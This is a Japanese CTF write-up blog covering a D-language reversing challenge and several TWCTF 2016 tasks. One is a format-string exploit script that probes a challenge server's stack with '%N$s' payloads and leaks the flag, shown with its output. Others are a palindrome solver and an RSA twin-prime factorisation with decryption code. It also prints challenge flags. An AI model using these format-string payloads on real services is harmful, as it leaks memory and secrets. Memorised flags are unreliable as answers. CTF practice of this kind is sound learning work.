  マジック:  7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  クラス:                            ELF64
  データ:                            2 の補数、リトルエンディアン
  バージョン:                        1 (current)
  OS/ABI:                            UNIX - System V
  ABI バージョン:                    0
  型:                                EXEC (実行可能ファイル)
  マシン:                            Advanced Micro Devices X86-64
  バージョン:                        0x1
  エントリポイントアドレス:          0x44ccf0
  プログラムの開始ヘッダ:            64 (バイト)
  セクションヘッダ始点:              850408 (バイト)
  フラグ:                            0x0
  このヘッダのサイズ:                64 (バイト)
  プログラムヘッダサイズ:            56 (バイト)
  プログラムヘッダ数:                10
  セクションヘッダ:                  64 (バイト)
  セクションヘッダサイズ:            34
  セクションヘッダ文字列表索引:      31

はい、x86_64〜😇

解析ヾノ*>ㅅ<)ノシ

IDA Proを持っているほど強いチームでもないし、かと言ってobjdump+Sublime Text+readelf+grepでは太刀打ちできる量ではないです。 仕方ないので、今日Hopper v3を買いました。 そこそこいい線いってるデコンパイラが付いてます(実は数日前からデモ版で試していました)。 アセンブリの画面では引数を格納している命令の横にそうと分かるようなコメントがつくのもいい感じです。

(割と丁寧に書きます。あと、割とreadelfをゴリ押しします)

main関数は、Your hexencoded, encrypted flag is が出る関数を探せばいいです。 今回は Dmain というラベルがついていました。
(解いた後にスクショを撮ったので、書き込みがある点はご了承くだされ)
# 一般にD言語のmain関数には _Dmain というシンボルがつくのかな?

f:id:katc:20160919234323p:plain

Dmainにはマングルされたザ可読性ゼロを体現したかのような関数がありました。 そのような関数はどんどんオレオレデマングルしていきました。
# deedeedee.d を持っているので、ある程度自信を持ってできました><

% readelf -s deedeedee| egrep "(hexencode|writeln)"
   264: 000000000044e370   148 FUNC    GLOBAL DEFAULT   13 _D9deedeedee9hexencodeFAy
  2544: 00000000004734e8   227 FUNC    WEAK   DEFAULT   13 _D3std5stdio16__T7writeln
  3012: 0000000000472f78   161 FUNC    WEAK   DEFAULT   13 _D3std5stdio20__T7writeln
  2442: 000000000044e370   148 FUNC    GLOBAL DEFAULT   13 _D9deedeedee9hexencodeFAy
  4240: 0000000000472f78   161 FUNC    WEAK   DEFAULT   13 _D3std5stdio20__T7writeln
  5269: 00000000004734e8   227 FUNC    WEAK   DEFAULT   13 _D3std5stdio16__T7writeln

Your なんちゃらが表示された直後にHEXエンコードされたencrypted flagが表示されます。 hexencodeと名づけた関数の返り値がそれのようなので、hexencodeの中身を追っていきます。

000000000044e439         mov        rdi, qword [ds:rdx+rbx]                     ; argument "length" for method hexencode
000000000044e43d         mov        rdx, qword [ds:rdx+rbx+8]                   ; set flag to $rdx
000000000044e442         mov        rsi, rdx                                    ; argument "flag" for method hexencode
000000000044e445         call       hexencode

…結果を先に言うと、encrypted flagは.rodata0x49f775に入っているのでhexencodeを見る価値は無いです。
コンパイル時計算したって問題が言ってるんですから仕方ないですね。

                     byte_format:
000000000049f770         db         "%02x", 0                                   ; XREF=hexencode+89
000000000049f775         db         "gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}", 0
                     _TMP2:
000000000049f7a6         db         "Your hexencoded, encrypted flag is: ", 0   ; XREF=_Dmain+12
                     _TMP3:
000000000049f7cb         db         "I generated it at compile time. :)", 0     ; XREF=_Dmain+85
                     _TMP4:
000000000049f7ee         db         "Can you decrypt it for me?", 0             ; XREF=_Dmain+103
                     _TMP11:

ここでチートで、deedeedee.dを見て、encrypt()とそれの呼び出し先がバイナリに残っているとflagを求められると考えます。 安全策でreadelfで先にencryptを探します。

% readelf -s deedeedee| egrep "encrypt"
   847: 000000000044cde0  5515 FUNC    GLOBAL DEFAULT   13 _D9deedeedee7encryptFNaNf
  3527: 000000000044cde0  5515 FUNC    GLOBAL DEFAULT   13 _D9deedeedee7encryptFNaNf

次は、Hopperで見てみます。

000000000044cde1         mov        rbp, rsp
000000000044cde4         sub        rsp, 0x10
000000000044cde8         mov        qword [ss:rbp+var_10], rdi                  ; arg2
000000000044cdec         mov        qword [ss:rbp+var_8], rsi                   ; arg1
000000000044cdf0         mov        rdx, qword [ss:rbp+var_8]                   ; argument "s" for method _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya
000000000044cdf4         mov        rax, qword [ss:rbp+var_10]
000000000044cdf8         mov        rdi, rax                                    ; argument "key" for method _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya
000000000044cdfb         mov        rsi, rdx                                    ; argument #2 for method _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya
000000000044cdfe         call       _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya
000000000044ce03         mov        rdi, rax                                    ; argument #1 for method _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya
000000000044ce06         mov        rsi, rdx                                    ; argument #2 for method _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya
000000000044ce09         call       _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya
000000000044ce0e         mov        rdi, rax                                    ; argument #1 for method _D9deedeedee21__T3encVAyaa3_333333Z3encFNaNfAyaZAya
000000000044ce11         mov        rsi, rdx                                    ; argument #2 for method _D9deedeedee21__T3encVAyaa3_333333Z3encFNaNfAyaZAya
000000000044ce14         call       _D9deedeedee21__T3encVAyaa3_333333Z3encFNaNfAyaZAya
000000000044ce19         mov        rdi, rax                                    ; argument #1 for method _D9deedeedee21__T3encVAyaa3_343434Z3encFNaNfAyaZAya
000000000044ce1c         mov        rsi, rdx                                    ; argument #2 for method _D9deedeedee21__T3encVAyaa3_343434Z3encFNaNfAyaZAya
000000000044ce1f         call       _D9deedeedee21__T3encVAyaa3_343434Z3encFNaNfAyaZAya
000000000044ce24         mov        rdi, rax                                    ; argument #1 for method _D9deedeedee21__T3encVAyaa3_353535Z3encFNaNfAyaZAya
000000000044ce27         mov        rsi, rdx                                    ; argument #2 for method _D9deedeedee21__T3encVAyaa3_353535Z3encFNaNfAyaZAya
000000000044ce2a         call       _D9deedeedee21__T3encVAyaa3_353535Z3encFNaNfAyaZAya
000000000044ce2f         mov        rdi, rax                                    ; argument #1 for method _D9deedeedee21__T3encVAyaa3_363636Z3encFNaNfAyaZAya
000000000044ce32         mov        rsi, rdx                                    ; argument #2 for method _D9deedeedee21__T3encVAyaa3_363636Z3encFNaNfAyaZAya
000000000044ce35         call       _D9deedeedee21__T3encVAyaa3_363636Z3encFNaNfAyaZAya
... snipped ...

名前がよく似ている関数をやたら呼び出しています(grepでカウントしてみたら400回callしてました←なぜ500回じゃない?)。 callの前にしていることはどれも同じです。 コンパイル時にforループ的なものが展開されたと考えればいいのでしょうか。 そうであれば最初の2つの関数の中身を見れば何をしているかを掴めそうです。

アセンブリを見てもキツイのでここでデコンパイラの出番です。 コメントは簡単に書き下したものです。合っているかは知りません。

function _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya {
    var_A8 = rbx;
    var_A0 = _D3std4conv9__T2toTiZ9__T2toTmZ2toFNaNfmZi(var_A8); // c (constant value)
    rax = cycle(var_40, 0x3, 0x49fa5c);             // var_40 = cycle(str(0x00313131)) (?)
    cycle_zip(var_80, arg0, arg1);                  // var_80 = (cycle(str(0x313131))).zip(s2)
    do {
            rax = Cycle_empty(var_80);              // checks if cycle returns empty
            rax = rax ^ 0x1;
            COND = rax == 0x0;
            if (COND) {
                break;
            }
            rax = Cycle_front(var_80);              // rax := (a, b)     
            _d_arrayappendcd(0x0, *(int32_t *)rax ^ *(int32_t *)(rax + 0x4) ^ var_A0 & 0xff);
                                                    // enc = a ^ b ^ c; encoded.push(enc)
            Cycle_popFront(var_80); 
    } while (true);
    rax = 0x0;
    return rax;                                     // return encoded
}

function _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya {
    var_A8 = rbx;
    var_A0 = _D3std4conv9__T2toTiZ9__T2toTmZ2toFNaNfmZi(var_A8); // c (constant value)
    rax = cycle(var_40, 0x3, 0x49fce2);
    cycle_zip(var_80, arg0, arg1);
    do {
            rax = Cycle_empty(var_80);
            rax = rax ^ 0x1;
            COND = rax == 0x0;
            if (COND) {
                break;
            }
            rax = Cycle_front(var_80);
            _d_arrayappendcd(0x0, *(int32_t *)rax ^ *(int32_t *)(rax + 0x4) ^ var_A0 & 0xff);
            Cycle_popFront(var_80);
    } while (true);
    rax = 0x0;
    return rax;
}

pythonのitertoolsにもあるcycle()が出てきてるっぽいです。 暗号方面ではよく見かける書き方です。今回の場合は、flagとそれよりも短いkeyを1文字ずつxorしているように見えます。 それぞれの関数でのkeyが何であるかは .rodata を見ればすぐに分かります。法則も自明ですね。

                     _TMP75:
000000000049fa5c         dd         0x00313131  # "111", 0
... snipped ...
                     _TMP214:
000000000049fce2         dd         0x00323232  # "222", 0
                     _TMP217:
000000000049fce6         dd         0x00333333  # "333", 0
                     _TMP220:
000000000049fcea         dd         0x00343434  # "444", 0
                     _TMP223:
000000000049fcee         dd         0x00353535  # "555", 0
                     _TMP226:
000000000049fcf2         dd         0x00363636  # "666", 0
                     _TMP229:
000000000049fcf6         dd         0x00373737  # "777", 0
                     _TMP232:
000000000049fcfa         dd         0x00383838  # "888", 0
                     _TMP235:
000000000049fcfe         dd         0x00393939  # "999", 0
                     _TMP238:
000000000049fd02         db         "101010", 0  
                     _TMP241:
000000000049fd09         db         "111111", 0  
                     _TMP244:
000000000049fd10         db         "121212", 0  
                     _TMP247:
000000000049fd17         db         "131313", 0  
                     _TMP250:
000000000049fd1e         db         "141414", 0  
                     _TMP253:
... snipped ...
                     _TMP1705:
00000000004a0f0e         db         "499499499", 0  

var_A0 = _D3std4conv9__T2toTiZ9__T2toTmZ2toFNaNfmZi(var_A8); が分かりそうにないし、 0x0から0xffに収まるのは自明なのでここはブルートフォースとします。 全体で500回(?)の暗号化処理の1つ1つは次のような処理をしていると分かりました。
# a, b, c が key. flag, ??? のどれに対応するのか問題は xor の性質で排除できます。テキトーでも大丈夫そうです。

keys = [str(k) * 3 for i in range(500)]
encrypted = "gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}"
decrypted = encrypted
for key in keys:
    c = ??? (blute-force)
    tmp = ""
    for a, b in zip(cycle(key), decrypted):
        dec = chr(ord(a) ^ ord(b) ^ ord(c))
        tmp += dec
    decrypted = tmp
return decrypted

solve.pyを書くのに十分な情報が集まりました。やったね!

solve.pyとflag

from itertools import *

"""
% ./deedeedee
Your hexencoded, encrypted flag is: 676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d
I generated it at compile time. :)
Can you decrypt it for me?
"""

keys = [str(i) * 3 for i in range(500)]
encrypted = "676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d".decode("hex")
# encrypted = "gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}" # good known
decrypted = encrypted
for c in range(256):
    for key in keys:
        # c = ??? (blute-force)
        tmp = ""
        for a, b in zip(cycle(key), decrypted):
            dec = chr(ord(a) ^ ord(b) ^ c)
            tmp += dec
        decrypted = tmp
    if decrypted[0:5] == "flag{":
        print("0x%2x: %s" % (c, decrypted))
print("[+] brute forth done")

flag: flag{t3mplat3_met4pr0gramming_is_gr8_4_3very0n3}

結局cが偶数なら正解のflagになるみたいですが、なぜなんでしょう?

あ゛〜〜〜〜

雑感

githubの方にsuggested pointsが300-400と書いてあって、実際は150点はマジすか。鬼畜ですか…

コンパイル時計算したときに、計算結果は .rodata に入りそう、 誰にも呼ばれないはずの関数(今回はencrypt()は誰にも呼ばれていなかった)がバイナリに残る、という知見らしきものを得ました。 コンパイル時計算はRevのネタとして結構面白いですね。


なんか低得点問題でさえとっつきにくいCTFでしたね。来年は…う〜ん

Tokyo Westerns / MMA CTF 2nd 2016 Writeup(Pwn50+Crypto50,100+PPC50+Web50+Rev50)

2016年9月3日〜4日にかけて48時間開催されたTWCTFに参加しました〜
今回はチームはPing-Micからの出場で、もりたこ(@mrtc0)と僕の2人です><
(二人とも日曜日に参戦できなかったので日曜日は順位がガタ落ちしていきましたっ)

f:id:katc:20160906215741p:plain

Ping-Micは土曜日のsubmitを最後に、360ptの143位で終了です。土曜日までは60番台だったんですけどねー、世間様は厳しい〜
僕は次の問題250ptぶんを入れて、いつもどおりのぱっとしない終了です😇

  • judgement (Pwn50)
  • Make a Palindrome! (PPC50)
  • Twin Primes (Crypto50)
  • Super Express (Crypto100)

あと、Global Page (Web50) アシストしました。

競技中にReverse Box (Rev50)を自分には合わない方針でやって時間を大量に溶かしたものの、今日やったらさくっと解けましたっ

以下 Writeup です。

judgement (Pwn50)

0x80487a2 print(input_flag) に自明なFSBがあるタイプの問題です。 ですが、FSB使う問題が半年ぶりで全然頭に残ってませんでした。 大分時間が経った後にsubmitして得点です。

スタックを掘り進めていけばいつかフラグが出てくるっしょ〜という無能方針です。

import struct, socket, sys, telnetlib
import time
from hexdump import hexdump

def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)
 
def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data
 
def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()
 
def p(a):  return struct.pack("<I",a&0xffffffff)
def u(a):  return struct.unpack("<I",a)[0]

for i in range(0x1, 0x30):
    print("at " + hex(i) + ":")
    s, f = sock("pwn1.chal.ctf.westerns.tokyo", 31729)
    t = read_until(f, "Flag judgment system\nInput flag >> ")

    """
    FSB bug

     8048772: c7 44 24 04 40 00 00  mov    DWORD PTR [esp+0x4],0x40   # 0x40
     8048779: 00 
     804877a: 8d 45 b4              lea    eax,[ebp-0x4c]             # [ebp-0x4c] := input_flag
     804877d: 89 04 24              mov    DWORD PTR [esp],eax
     8048780: e8 e4 00 00 00        call   8048869 <getnline>         
     8048785: 85 c0                 test   eax,eax
     8048787: 75 13                 jne    804879c <main+0x71>
    #---------------------------------------------------------------------
     8048789:   c7 04 24 cc 89 04 08    mov    DWORD PTR [esp],0x80489cc
     8048790:   e8 9b fd ff ff          call   8048530 <puts@plt>
     8048795:   b8 ff ff ff ff          mov    eax,0xffffffff
     804879a:   eb 3c                   jmp    80487d8 <main+0xad>
    #=====================================================================
     804879c:   8d 45 b4                lea    eax,[ebp-0x4c]
     804879f:   89 04 24                mov    DWORD PTR [esp],eax
     80487a2:   e8 39 fd ff ff          call   80484e0 <printf@plt>       # printf(input_flag)
    """

    f.write("%" + str(i) + "$s" + "\n")

    shell(s)

    time.sleep(0.5)

"""
[katc@K_atc judgement]$ python2 judgement.py 
at 0x1:
*** Connection closed by remote host ***
at 0x2:
êz÷
Wrong flag...
*** Connection closed by remote host ***
at 0x3:                                                                   ii
Wrong flag...
*** Connection closed by remote host ***
at 0x4:
*** Connection closed by remote host ***
at 0x5:
*** Connection closed by remote host ***
at 0x6:
(null)
Wrong flag...
*** Connection closed by remote host ***
at 0x7:
*** Connection closed by remote host ***
at 0x8:
*** Connection closed by remote host ***
at 0x9:
(null)
Wrong flag...
*** Connection closed by remote host ***
at 0xa:
tÑW÷?
Wrong flag...
*** Connection closed by remote host ***
at 0xb:
Ààb÷ÐÏa÷
Wrong flag...
*** Connection closed by remote host ***
at 0xc:

Wrong flag...
*** Connection closed by remote host ***
at 0xd:
e
Wrong flag...
*** Connection closed by remote host ***
at 0xe:
r
Wrong flag...
*** Connection closed by remote host ***
at 0xf:
ÀuLÇD$@
Wrong flag...
*** Connection closed by remote host ***
at 0x10:
$­û(s÷(s
Wrong flag...
*** Connection closed by remote host ***
at 0x11:
}#
Wrong flag...
*** Connection closed by remote host ***
at 0x12:
*** Connection closed by remote host ***
at 0x13:
*** Connection closed by remote host ***
at 0x14:
*** Connection closed by remote host ***
at 0x15:                                                                  89|÷°d{÷ ëd÷Dc÷ ¬d÷`ê`÷À°g÷Пf÷
Wrong flag...
*** Connection closed by remote host ***
at 0x16:
*** Connection closed by remote host ***
at 0x17:
*** Connection closed by remote host ***
at 0x18:
#Ó24$s
Wrong flag...
*** Connection closed by remote host ***
at 0x19:
Z
 $$D$Â
      
Wrong flag...
*** Connection closed by remote host ***
at 0x1a:

Wrong flag...
*** Connection closed by remote host ***
at 0x1b:
WLfnL$
      fï҉Ïf`Éf`ɃáfpÉ
Wrong flag...
*** Connection closed by remote host ***
at 0x1c:
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...
*** Connection closed by remote host ***
at 0x1d:

Wrong flag...
*** Connection closed by remote host ***
at 0x1e:
*** Connection closed by remote host ***
at 0x1f:
Eô}ô
Wrong flag...
"""

flag: TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

Make a Palindrome! (PPC50)

こんなん、やるだけなのでコードだけ置いておきますね。

# -*- coding:utf-8 -*-
# Server connection example file for Python 2
import socket
import sys
import itertools

class BreakIt(Exception): pass

def check(arr):
    text = ''.join(arr)
    if text==text[::-1]:
        return True
    else: 
        return False

host = 'ppc1.chal.ctf.westerns.tokyo'
if len(sys.argv) > 1:
    host = sys.argv[1]
port = 31111
if len(sys.argv) > 2:
    host = int(sys.argv[2])

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))

client_file = client.makefile('b')

while client_file.readline().strip() != "Let's play!":
    pass

client_file.readline()
for case in range(0, 30):
    client_file.readline()
    words = client_file.readline().split()[2:]
    # words: input
    # answer: answer
    ##  Please write some code here
    print(words)
    head = {}
    for x in words:
        head.setdefault(x[0], []).append(x)
    tail = {}
    for x in words:           
        tail.setdefault(x[-1], []).append(x)

    answer = []
    try:
        for k, v in head.items():
            if k in tail:
                for x in v:
                    for y in tail[k]:
                        test = words[:]
                        test.remove(x)
                        if y in test:
                            test.remove(y)
                        else:
                            break
                        for t in itertools.permutations(test):
                            answer = [x] + list(t) + [y]
                            if check(answer):
                                print "[+] found"
                                print answer
                                raise BreakIt
    except BreakIt:
        pass
    #
    client_file.write(' '.join(answer) + "\n")
    client_file.flush()
    ret = client_file.readline()[8:-1]
    print(ret)
    if 'Wrong Answer' in ret:
        print(client_file.readline())
        sys.exit(1)


"""
[katc@K_atc Palindrome]$ python2 solve.py 
['wu', 'ixuw', 'r', 'xixxyvns', 'rsnvyxx']
[+] found
['rsnvyxx', 'ixuw', 'wu', 'xixxyvns', 'r']
Judge: Correct! TWCTF{Charisma_School_Captain}
['tirs', 'r', 's', 'yuy', 'ita', 'xg', 'a', 'g', 'xrs', 'sr']
[+] found
['a', 'tirs', 's', 'r', 'xg', 'yuy', 'g', 'xrs', 'sr', 'ita']
Judge: Correct! 
['k', 'kjk', 'jkjjkjk', 'jjkjjjjkjkkk', 'kjkjkjkj', 'kj', 'kkjkjjj', 'jjjk', 'jjjjjjjkk', 'kkjjjj']
[+] found
['kj', 'k', 'jjkjjjjkjkkk', 'jjjjjjjkk', 'kjkjkjkj', 'kjk', 'kkjjjj', 'jjjk', 'kkjkjjj', 'jkjjkjk']
Judge: Correct! 
['tcd', 'tsyjej', 'u', 'dct', 's', 'w', 'lw', 'uwjejy', 't', 'zsszwl']
[+] found
['dct', 'tsyjej', 'w', 'u', 'lw', 'zsszwl', 'uwjejy', 's', 't', 'tcd']
Judge: Correct! 
['bvj', 'kgs', 'i', 'ffkfjvbk', 'fk', 'sgkk', 'n', 'a', 'ta', 'atnia']
[+] found
['atnia', 'sgkk', 'bvj', 'fk', 'ffkfjvbk', 'kgs', 'a', 'i', 'n', 'ta']
Judge: Correct! 
['zl', 'ulz', 'g', 'zb', 'bzlzzlu', 'g', 's', 'rrf', 'frrs', 'gg']
[+] found
['bzlzzlu', 'g', 'g', 's', 'rrf', 'frrs', 'gg', 'ulz', 'zl', 'zb']
Judge: Correct! 
['eelel', 'll', 'eellle', 'eell', 'lle', 'e', 'elllelllllll', 'lllel', 'eeelllee', 'e']
[+] found
['eell', 'll', 'lllel', 'lle', 'eellle', 'eelel', 'eeelllee', 'elllelllllll', 'e', 'e']
Judge: Correct! 
['rrwrwrrw', 'wwwrrwwww', 'rrrwwwwrr', 'ww', 'rrrwr', 'rww', 'r', 'rwrr', 'wrwr', 'wwwwrr']
[+] found
['rww', 'rwrr', 'rrwrwrrw', 'wwwrrwwww', 'rrrwwwwrr', 'wwwwrr', 'wrwr', 'rrrwr', 'ww', 'r']
Judge: Correct! 
['exyp', 'e', 'r', 'aq', 'xncum', 'amr', 'yx', 'q', 'mucnx', 'm']
[+] found
['mucnx', 'r', 'm', 'aq', 'exyp', 'yx', 'e', 'q', 'amr', 'xncum']
Judge: Correct! 
['e', 'k', 'shiepf', 's', 'kfnx', 'ih', 'kdfp', 'lnxnfk', 'dk', 'nlk']
[+] found
['kfnx', 'nlk', 'shiepf', 'dk', 'kdfp', 'e', 'ih', 's', 'k', 'lnxnfk']
Judge: Correct! 
['k', 'hs', 'v', 'yjsh', 'hy', 'jz', 'm', 'k', 'zjmyh', 'jy']
[+] found
['hs', 'jy', 'k', 'hy', 'm', 'jz', 'v', 'zjmyh', 'k', 'yjsh']
Judge: Correct! 
['pn', 'npgbubv', 'asw', 'vbub', 'rwsa', 'z', 'gawag', 'g', 'z', 'r']
[+] found
['asw', 'r', 'npgbubv', 'z', 'gawag', 'z', 'vbub', 'g', 'pn', 'rwsa']
Judge: Correct! 
['z', 'h', 'k', 't', 'zht', 'albbbblauj', 'yl', 'm', 'lykju', 'm']
[+] found
['m', 't', 'h', 'z', 'lykju', 'albbbblauj', 'k', 'yl', 'zht', 'm']
Judge: Correct! 
['jsssjssjs', 'ssss', 'sjssjsssjssssjs', 'jjs', 'jjjj', 'j', 'jjjj', 'sssjjssjsjj', 'jsss', 'jssj']
[+] found
['sssjjssjsjj', 'jjjj', 'sjssjsssjssssjs', 'j', 'ssss', 'jsssjssjs', 'jjjj', 'jjs', 'jssj', 'jsss']
Judge: Correct! 
['r', 'zzz', 'tkqyafw', 'gqwfa', 't', 'yqk', 'f', 'fy', 'y', 'qgr']
[+] found
['fy', 'r', 'gqwfa', 'yqk', 't', 'zzz', 'tkqyafw', 'qgr', 'y', 'f']
Judge: Correct! 
['vvvv', 'vvv', 'a', 'vavvavavvaavavvav', 'vvvavvavaavva', 'v', 'avva', 'vv', 'vvvvv', 'vvva']
[+] found
['avva', 'vvvv', 'vvv', 'vvvavvavaavva', 'vavvavavvaavavvav', 'v', 'vvvvv', 'vvva', 'vv', 'a']
Judge: Correct! 
['cus', 'cj', 'tllse', 'j', 'u', 'w', 'eslltw', 'vzd', 'dz', 'v']
[+] found
['eslltw', 'vzd', 'j', 'cus', 'u', 'cj', 'dz', 'v', 'w', 'tllse']
Judge: Correct! 
['xb', 'xbbbxbbbbbxxxb', 'xxxbbbbbxbbbxxb', 'b', 'x', 'x', 'x', 'xbbbbbxxxxxx', 'bb', 'bbb']
[+] found
['xb', 'xxxbbbbbxbbbxxb', 'xbbbbbxxxxxx', 'bb', 'bbb', 'x', 'b', 'x', 'xbbbxbbbbbxxxb', 'x']
Judge: Correct! 
['t', 'oow', 'z', 'u', 'rdtod', 'd', 'otdruw', 't', 'o', 'oz']
[+] found
['d', 'otdruw', 'o', 'oz', 't', 't', 'z', 'oow', 'u', 'rdtod']
Judge: Correct! 
['lmo', 'lg', 'gly', 'y', 'yaa', 'o', 'aa', 'mlf', 'f', 'gy']
[+] found
['aa', 'y', 'o', 'mlf', 'gly', 'gy', 'lg', 'f', 'lmo', 'yaa']
Judge: Correct! 
['sz', 'r', 's', 'ig', 'g', 'jab', 's', 'izs', 'ggrbaj', 'g']
[+] found
['sz', 'ig', 's', 'jab', 'r', 'g', 'ggrbaj', 's', 'g', 'izs']
Judge: Correct! 
['vzv', 'zzzzzzzzvvvz', 'v', 'v', 'vzz', 'vzz', 'zzzzzzzvzzvvzv', 'zzz', 'zzzzz', 'vv']
[+] found
['zzzzz', 'vv', 'vzv', 'vzz', 'v', 'zzzzzzzzvvvz', 'zzzzzzzvzzvvzv', 'v', 'vzz', 'zzz']
Judge: Correct! 
['am', 'f', 'c', 'mdc', 'm', 'udkk', 'af', 'q', 'duq', 'dm']
[+] found
['mdc', 'f', 'am', 'q', 'udkk', 'duq', 'm', 'af', 'c', 'dm']
Judge: Correct! 
['llllr', 'rl', 'rrrl', 'llllrrlll', 'rrl', 'rlll', 'lllrr', 'llrrr', 'lllllrlllllrrll', 'r']
[+] found
['rl', 'llllrrlll', 'r', 'rrrl', 'lllrr', 'lllllrlllllrrll', 'llrrr', 'rlll', 'rrl', 'llllr']
Judge: Correct! 
['kfmj', 'rh', 'q', 'z', 'djk', 'kjdhrp', 'llml', 'fkqlm', 'zjm', 'p']
[+] found
['kjdhrp', 'zjm', 'fkqlm', 'llml', 'q', 'kfmj', 'z', 'p', 'rh', 'djk']
Judge: Correct! 
['cfu', 'yvt', 'estvya', 'd', 'fc', 'eqok', 'nda', 'koq', 'n', 's']
[+] found
['koq', 'estvya', 'd', 'n', 'cfu', 'fc', 'nda', 'yvt', 's', 'eqok']
Judge: Correct! 
['uy', 'rmi', 'mrxyugh', 'x', 'hg', 'w', 'm', 'ztnj', 'z', 'mwjnt']
[+] found
['mwjnt', 'z', 'hg', 'uy', 'x', 'rmi', 'mrxyugh', 'ztnj', 'w', 'm']
Judge: Correct! 
['omc', 's', 'v', 'cmo', 'v', 'qrxng', 'sg', 'o', 'nxrq', 'or']
[+] found
['cmo', 'v', 'qrxng', 's', 'or', 'o', 'sg', 'nxrq', 'v', 'omc']
Judge: Correct! 
['yyyy', 'yu', 'yyuyyuuuuy', 'yy', 'u', 'yyyy', 'uyyuuuuyyuyyu', 'yyyyuu', 'u', 'uuuyyyy']
[+] found
['yyyy', 'u', 'yyuyyuuuuy', 'yu', 'yyyyuu', 'u', 'yy', 'uuuyyyy', 'uyyuuuuyyuyyu', 'yyyy']
Judge: Correct! 
['m', 'kntrngc', 'mem', 'q', 'me', 'm', 'kf', 'k', 'qf', 'kcgnrtn']
[+] found
['qf', 'kntrngc', 'k', 'm', 'me', 'mem', 'm', 'kcgnrtn', 'kf', 'q']
Judge: Correct! TWCTF{Hiyokko_Tsuppari}
"""

flag #1: TWCTF{Charisma_School_Captain}
flag #2: TWCTF{Hiyokko_Tsuppari}

(なんすかこのフラグ…)

Twin Primes (Crypto50)

要は、RSA暗号のパラメータで、(p, q) と (p+2, q+2) のそれぞれの積は分かるときにp, qのそれぞれを簡単に求めることはできるのか、という問題です(encrypt.pyのコードは省略)。 計算量が多いように見せかけて、実は簡単な式変形で解けるという問題を以前食らったことがあった(たぶんCODEGATE 2016)ので、今回は解けました。やったね。

p, qの計算はsageにさせました。
decryptはencryptのコードを流用してさくっと完成です。

n1 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951
n2 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935757418867172314593546678104100129027339256068940987412816779744339994971665109555680401467324487397541852486805770300895063315083965445098467966738905392320963293379345531703349669197397492241574949069875012089172754014231783160960425531160246267389657034543342990940680603153790486530477470655757947009682859

# n2 = n1 + 2 (p + q) + 4
p_plus_q = ((n2 - n1) - 4) / 2
print("p * q = " + str(n1))
print("p + q = " + str(p_plus_q))

p, q = var("p q")
f = [p * q - n1, p + q - p_plus_q]
solns = solve(f, p, q)
print(solns[0])

"""
p = 109839168287920364771652233739542245893972429420400471787477887103169099491804762856071669374751286279860451783039232642710981517010937585802203565874477414469934412741906018847402147404957765188018616912003220542453809516059524224015255036266232001320821428611494617812180060212800300789614856560253120304701
q = 176645945799298135110721766377313792982812334295271987596634864064777954683139799946630491521527848390622912482826980130051166690303653228530141163053890146954290070312482492552495214917023922382112893625586133272913759418717134953590760109002220865007673751773346439753002517112721944238066505389966935631251
"""
from Crypto.Util.number import *
import Crypto.PublicKey.RSA as RSA
import os

N = 1024

def getTwinPrime(N):
    while True:
        p = getPrime(N)
        if isPrime(p+2):
            return p

def genkey(N = 1024):
    # p = getTwinPrime(N)
    # q = getTwinPrime(N)
    p = 109839168287920364771652233739542245893972429420400471787477887103169099491804762856071669374751286279860451783039232642710981517010937585802203565874477414469934412741906018847402147404957765188018616912003220542453809516059524224015255036266232001320821428611494617812180060212800300789614856560253120304701
    q = 176645945799298135110721766377313792982812334295271987596634864064777954683139799946630491521527848390622912482826980130051166690303653228530141163053890146954290070312482492552495214917023922382112893625586133272913759418717134953590760109002220865007673751773346439753002517112721944238066505389966935631251
    n1 = p*q
    n2 = (p+2)*(q+2) # n2 = n1 + 2 (p + q) + 4
    e = long(65537)
    d1 = inverse(e, (p-1)*(q-1))
    d2 = inverse(e, (p+1)*(q+1))
    key1 = RSA.construct((n1, e, d1))
    key2 = RSA.construct((n2, e, d2))
    if n1 < n2:
        return (key1, key2)
    else:
        return (key2, key1)

rsa1, rsa2 = genkey(N)

with open("encrypted", "r") as f:
    c = f.read()

c = int(c)
c = rsa2.decrypt(c)
c = rsa1.decrypt(c)
padded_flag = long_to_bytes(c)
print(padded_flag)

"""
[katc@K_atc twin-primes]$ python2 decrypt.py 
TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef}
 ßÝë*Àý L0ÜԪâÒ<5ìS²E$K
